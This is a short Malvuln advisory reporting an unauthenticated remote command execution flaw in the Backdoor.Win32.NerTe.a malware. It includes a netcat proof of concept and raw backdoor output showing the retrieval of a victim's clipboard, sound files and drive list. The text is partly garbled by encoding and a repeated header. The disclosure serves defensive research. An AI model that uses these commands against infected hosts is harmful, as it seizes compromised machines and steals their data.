Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47_B.txt
Contact: malvuln13@gmail.com
Media: twitter. Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.a
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 21, 80 and drops an executable under Windows dir. Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc
Type: PE32
MD5: 125364b0cdae80c10f00b75c8e2cfa47
Vuln ID: MVID-2021-0286
Dropped files: TaskMonitors.exe
Disclosure: 07/12/2021


Exploit/PoC:
nc64.exe x.x.x.x 80

VERSIJ7.9.0_b2_ntñnoñVictimñDESKTOP-2C4JQHO╢GETSND

Get Sounds)
GETSNDñññññññññññññññññC:a17.wavñC:a18.wavñññC:a21.wavñC:a22.wavññC:a23.wavñC:a24.wavñññññññC:a29.wavñC:a30.wavññC:a31.wavñC:a32.wav╢

Get Clipboard data)
GETCLB
GETCLB*************** Clipboard **************ñTomorrow West broadway and 29thñ*************** End **************╢

nd **************╢GETRST
MSGERRYour client too old.
Please update from:
http://nerte.free-hosting.lt

MSGUnknown command╢GETDRV
GETDRVC:?D:╢GETCOL


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